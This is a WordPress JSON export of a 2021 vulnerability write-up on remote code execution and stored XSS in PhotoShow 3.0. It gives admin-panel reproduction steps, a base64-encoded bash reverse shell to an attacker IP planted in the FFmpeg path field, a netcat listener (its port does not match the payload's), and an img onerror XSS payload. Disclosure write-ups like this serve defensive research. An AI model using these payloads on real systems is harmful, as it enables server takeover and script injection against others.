{"id":476,"date":"2021-07-19T07:28:01","date_gmt":"2021-07-19T07:28:01","guid":{"rendered":"https:\/\/lyhinslab.org\/?p=476"},"modified":"2021-07-19T07:29:21","modified_gmt":"2021-07-19T07:29:21","slug":"how-white-box-hacking-works-remote-code-execution-and-stored-xss-in-photoshow-3-0","status":"publish","type":"post","link":"https:\/\/lscp.llc\/index.php\/2021\/07\/19\/how-white-box-hacking-works-remote-code-execution-and-stored-xss-in-photoshow-3-0\/","title":{"rendered":"How White-Box hacking works: Remote Code Execution and Stored XSS in PhotoShow 3.0"},"content":{"rendered":"\n<p>A bit outdated, nevertheless is beautiful in terms of ethical hacking &#8211; photoshow is an open source web application with 490 stars and 148 forks. Both issues could be triggered via CSRF, which is intentionally left unexplained &#8211; as well as the mitigation recommendations, the issue isolation, and impact-related notes.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Remote Code Execution<\/h3>\n\n\n\n<p>Severity: 9.1 (Critical)<\/p>\n\n\n\n<p>CVSS :3.0\/AV:N\/AC:L\/PR:H\/UI:N\/S:C\/C:H\/I:H\/A:H<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Steps to reproduce<\/h4>\n\n\n\n<ol class=\"wp-block-list\" type=\"1\"><li>Log in as a user with the administrative permissions.<\/li><li>Navigate to the admin settings page.<\/li><li>Click on \u2018Edit settings\u2019 tab.<\/li><li>Insert the following payload into the \u201cFFmpeg path\u201d\u00a0field. Embed your IP address and port into the Base64 encoded string.<\/li><\/ol>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjAuMy80NDQ0IDA+JjE= | base64 -d > \/tmp\/1.sh ;\/bin\/bash \/tmp\/1.sh<\/pre>\n\n\n\n<ol class=\"wp-block-list\" type=\"1\" start=\"5\"><li>Click on the first \u2018Submit\u2019 button. The web application should send the request as the following image illustrates:<\/li><\/ol>\n\n\n\n<figure class=\"wp-block-image size-large\"><img fetchpriority=\"high\" decoding=\"async\" width=\"908\" height=\"428\" src=\"https:\/\/lyhinslab.org\/wp-content\/uploads\/2021\/07\/image-1.png\" alt=\"\" class=\"wp-image-484\"\/><\/figure>\n\n\n\n<p>6. On the attacker&#8217;s machine, turn on the netcat listener:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">nc -nvlp 9999<\/pre>\n\n\n\n<p>7. Upload any short video through the built-in functionality, and get a shell.\u00a0<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"904\" height=\"308\" src=\"https:\/\/lyhinslab.org\/wp-content\/uploads\/2021\/07\/image.jpeg\" alt=\"\" class=\"wp-image-485\"\/><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">Stored Cross-Site Scripting (XSS)<\/h3>\n\n\n\n<p>Severity: 9.1 (Critical)<\/p>\n\n\n\n<p>CVSS :3.0\/AV:N\/AC:L\/PR:H\/UI:N\/S:C\/C:H\/I:H\/A:H<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Steps to reproduce<\/h4>\n\n\n\n<ol class=\"wp-block-list\" type=\"1\"><li>Log in as a user with the administrative permissions.<\/li><li>Navigate to the admin settings page.<\/li><li>Click on &#8220;Edit settings&#8221; tab.<\/li><li>Click on the first &#8220;Submit&#8221; button.\u00a0<\/li><li>Intercept the request with the Burp Suite, send the mentioned request to the repeater, and modify as the following screenshot illustrates:<\/li><\/ol>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"904\" height=\"814\" src=\"https:\/\/lyhinslab.org\/wp-content\/uploads\/2021\/07\/image-2.png\" alt=\"\" class=\"wp-image-486\"\/><\/figure>\n\n\n\n<p>Namely, insert the following payload in the &#8220;user_theme&#8221; body parameter:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">'>&lt;img src=X onerror=alert(document.location)><\/pre>\n\n\n\n<p>6. Navigate to the root page of the web application.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1151\" height=\"386\" src=\"https:\/\/lyhinslab.org\/wp-content\/uploads\/2021\/07\/image.png\" alt=\"\" class=\"wp-image-479\"\/><\/figure>\n\n\n\n<p><em>LL advises to all the researchers do not break real applications<\/em>\u00a0<em>illegally. This fun leads to broken businesses and lives, and, most likely, will not make an attacker really rich.<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A bit outdated, nevertheless is beautiful in terms of ethical hacking &#8211; photoshow is an open source web application with 490 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-476","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/posts\/476","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/comments?post=476"}],"version-history":[{"count":0,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/posts\/476\/revisions"}],"wp:attachment":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/media?parent=476"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/categories?post=476"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/tags?post=476"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}